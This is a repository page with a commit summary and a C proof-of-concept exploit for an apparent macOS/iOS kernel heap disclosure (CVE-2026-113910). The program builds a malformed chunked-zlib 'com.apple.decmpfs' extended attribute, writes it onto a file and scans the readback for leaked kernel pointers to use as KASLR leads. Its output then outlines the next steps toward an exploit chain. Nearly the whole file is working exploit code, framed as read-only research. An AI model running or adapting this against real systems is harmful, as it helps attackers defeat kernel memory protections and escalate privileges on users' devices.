- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six kernel-reachable bugs supplies both address and value control; the chain requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry - CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical pointer classification (kernel-text / kernel-data / kernel-other), --keep raw dump, --verbose; candidates are printed, never dereferenced - 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset write without leak, honest negative); no blind writes - README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
287 lines
11 KiB
C
287 lines
11 KiB
C
// kern.decmpfs · AppleFSCompressionTypeZlib chunked xattr · CVE-2026-113910
|
|
// Kernel heap disclosure through short-producing chunks
|
|
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
|
|
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
|
|
// reads the file back and classifies every canonical kernel pointer in the result.
|
|
//
|
|
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
|
|
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
|
|
// readback for offline analysis. Candidates are printed, never dereferenced.
|
|
//
|
|
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
|
|
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <errno.h>
|
|
#include <fcntl.h>
|
|
#include <unistd.h>
|
|
#include <sys/xattr.h>
|
|
|
|
// ── byte buffer ──
|
|
typedef struct { uint8_t *d; size_t n, cap; } buf;
|
|
static void bneed(buf *b, size_t extra) {
|
|
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
|
|
}
|
|
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
|
|
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
|
|
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
|
|
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
|
|
|
|
static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); }
|
|
static void le32(buf *b, uint32_t v) {
|
|
bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff);
|
|
}
|
|
static void le64(buf *b, uint64_t v) {
|
|
for (int i = 0; i < 8; i++) bput(b, (uint8_t)((v >> (8 * i)) & 0xff));
|
|
}
|
|
static void be32(buf *b, uint32_t v) {
|
|
bput(b, v >> 24); bput(b, (v >> 16) & 0xff); bput(b, (v >> 8) & 0xff); bput(b, v & 0xff);
|
|
}
|
|
|
|
// ── seed construction (from Cinder27 Sources: Decmpfs.chunkedXattr) ──
|
|
// 'cmpf' magic, type 4 (chunked zlib), uncompressed size, offset table, then chunks
|
|
// whose zlib streams produce only `produce` bytes each
|
|
static uint32_t adler32(const uint8_t *p, size_t n) {
|
|
uint32_t a = 1, b = 0;
|
|
for (size_t i = 0; i < n; i++) {
|
|
a = (a + p[i]) % 65521;
|
|
b = (b + a) % 65521;
|
|
}
|
|
return (b << 16) | a;
|
|
}
|
|
|
|
static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce) {
|
|
buf out = {0};
|
|
le32(&out, 0x636D7066); // 'cmpf'
|
|
le32(&out, 4); // typeZlibChunked
|
|
le64(&out, (uint64_t)uncompressed);
|
|
|
|
// per-chunk: flag byte 0x00 + zlib stream of `produce` bytes of 0x41
|
|
buf payload = {0};
|
|
brep(&payload, 0x41, produce);
|
|
buf z = {0};
|
|
bput(&z, 0x78); bput(&z, 0x01); // zlib header
|
|
size_t off = 0;
|
|
if (payload.n == 0) bcat(&z, "\x01\x00\x00\xFF\xFF", 5);
|
|
while (off < payload.n) {
|
|
size_t take = payload.n - off < 65535 ? payload.n - off : 65535;
|
|
bput(&z, off + take >= payload.n ? 0x01 : 0x00); // final flag
|
|
le16(&z, (uint16_t)take);
|
|
le16(&z, (uint16_t)~take);
|
|
bcat(&z, payload.d + off, take);
|
|
off += take;
|
|
}
|
|
be32(&z, adler32(payload.d, payload.n));
|
|
|
|
uint32_t offsets[9];
|
|
uint32_t running = 0;
|
|
for (int i = 0; i < chunk_count; i++) {
|
|
offsets[i] = running;
|
|
running += (uint32_t)(1 + z.n); // flag byte + zlib stream
|
|
}
|
|
offsets[chunk_count] = running;
|
|
for (int i = 0; i <= chunk_count; i++) le32(&out, offsets[i]);
|
|
for (int i = 0; i < chunk_count; i++) { bput(&out, 0x00); bcat(&out, z.d, z.n); }
|
|
|
|
bfree(&payload);
|
|
bfree(&z);
|
|
return out;
|
|
}
|
|
|
|
// ── leak classification ──
|
|
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
|
|
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
|
|
// Anything that looks like a tagged userspace pointer is reported separately; it is
|
|
// not a KASLR lead. Values are only ever printed.
|
|
enum ptr_class {
|
|
PTR_NONE = 0,
|
|
PTR_KERNEL_TEXT,
|
|
PTR_KERNEL_DATA,
|
|
PTR_KERNEL_OTHER,
|
|
PTR_USER,
|
|
};
|
|
|
|
static const char *class_name(int c) {
|
|
switch (c) {
|
|
case PTR_KERNEL_TEXT: return "kernel-text";
|
|
case PTR_KERNEL_DATA: return "kernel-data";
|
|
case PTR_KERNEL_OTHER: return "kernel-other";
|
|
case PTR_USER: return "user";
|
|
default: return "-";
|
|
}
|
|
}
|
|
|
|
static int classify(uint64_t v) {
|
|
if (v == 0) return PTR_NONE;
|
|
if ((v >> 48) == 0xffff) {
|
|
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
|
|
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
|
|
return PTR_KERNEL_OTHER;
|
|
}
|
|
if ((v >> 48) == 0x0000) return PTR_USER;
|
|
return PTR_NONE;
|
|
}
|
|
|
|
typedef struct {
|
|
int wrote_xattr;
|
|
long read_back;
|
|
long hits;
|
|
long by_class[5];
|
|
char samples[8][40];
|
|
int nsamples;
|
|
char note[128];
|
|
} decmpfs_result;
|
|
|
|
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
|
|
if (r->nsamples >= 8) return;
|
|
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
|
|
(unsigned long long)v, off, class_name(cls));
|
|
r->nsamples++;
|
|
}
|
|
|
|
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
|
|
FILE *keep, int verbose) {
|
|
decmpfs_result r = {0};
|
|
unlink(path);
|
|
int fd = open(path, O_WRONLY | O_CREAT, 0644);
|
|
if (fd >= 0) {
|
|
uint8_t fill[4096];
|
|
memset(fill, 0x41, sizeof fill);
|
|
size_t left = uncompressed < 64 ? 64 : uncompressed;
|
|
while (left > 0) {
|
|
size_t take = left < sizeof fill ? left : sizeof fill;
|
|
if (write(fd, fill, take) != (ssize_t)take) break;
|
|
left -= take;
|
|
}
|
|
close(fd);
|
|
}
|
|
|
|
buf payload = decmpfs_chunked(uncompressed, chunks, produce);
|
|
if (setxattr(path, "com.apple.decmpfs", payload.d, payload.n, 0, 0) != 0) {
|
|
snprintf(r.note, sizeof r.note, "setxattr failed errno=%d", errno);
|
|
bfree(&payload);
|
|
return r;
|
|
}
|
|
r.wrote_xattr = 1;
|
|
|
|
FILE *f = fopen(path, "rb");
|
|
if (!f) {
|
|
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
|
|
bfree(&payload);
|
|
return r;
|
|
}
|
|
buf back = {0};
|
|
uint8_t chunk[65536];
|
|
size_t got;
|
|
while ((got = fread(chunk, 1, sizeof chunk, f)) > 0) bcat(&back, chunk, got);
|
|
fclose(f);
|
|
r.read_back = (long)back.n;
|
|
|
|
if (keep) {
|
|
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
|
|
chunks, produce, uncompressed, back.n);
|
|
if (back.n) fwrite(back.d, 1, back.n, keep);
|
|
fputc('\n', keep);
|
|
}
|
|
|
|
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
|
|
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
|
uint64_t v = 0;
|
|
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
|
int cls = classify(v);
|
|
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
|
|
r.hits++;
|
|
r.by_class[cls]++;
|
|
note_sample(&r, v, i, cls);
|
|
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
|
|
}
|
|
}
|
|
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
|
|
bfree(&back);
|
|
bfree(&payload);
|
|
return r;
|
|
}
|
|
|
|
int main(int argc, char **argv) {
|
|
int loop = 1;
|
|
int verbose = 0;
|
|
const char *keep_path = NULL;
|
|
for (int i = 1; i < argc; i++) {
|
|
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
|
|
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
|
|
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
|
|
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
|
|
}
|
|
if (loop < 1) loop = 1;
|
|
|
|
const char *path = "decmpfs_probe.bin";
|
|
struct { int chunks; size_t produce; } configs[] = {
|
|
{1, 0}, {1, 1}, {2, 1}, {4, 1},
|
|
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
|
|
};
|
|
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
|
|
|
|
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
|
|
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
|
|
if (keep) {
|
|
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
|
|
}
|
|
|
|
long total_hits = 0;
|
|
long by_class[5] = {0};
|
|
long runs = 0;
|
|
printf("— baseline: what a plain file reads back —\n");
|
|
{
|
|
unlink(path);
|
|
int fd = open(path, O_WRONLY | O_CREAT, 0644);
|
|
if (fd >= 0) {
|
|
uint8_t a64[64];
|
|
memset(a64, 0x41, sizeof a64);
|
|
for (int i = 0; i < 64; i++) if (write(fd, a64, sizeof a64) != 64) break;
|
|
close(fd);
|
|
}
|
|
FILE *f = fopen(path, "rb");
|
|
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
|
|
}
|
|
|
|
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
|
|
for (int l = 0; l < loop; l++) {
|
|
for (int i = 0; i < ncfg; i++) {
|
|
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
|
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
|
|
keep, verbose);
|
|
runs++;
|
|
total_hits += r.hits;
|
|
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
|
|
if (r.hits > 0 || verbose) {
|
|
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
|
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
|
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
|
|
}
|
|
}
|
|
}
|
|
|
|
// Class totals are what matter here; the raw bytes are in --keep for offline work.
|
|
|
|
unlink(path);
|
|
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
|
|
|
|
printf("\n== leak summary ==\n");
|
|
printf("runs=%ld hits=%ld\n", runs, total_hits);
|
|
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
|
|
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
|
|
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
|
|
|
|
if (total_hits > 0) {
|
|
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
|
|
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
|
|
printf("whether the same chunk table can be pointed at that slot again.\n");
|
|
} else {
|
|
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
|
|
}
|
|
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
|
|
return total_hits > 0 ? 0 : 0;
|
|
}
|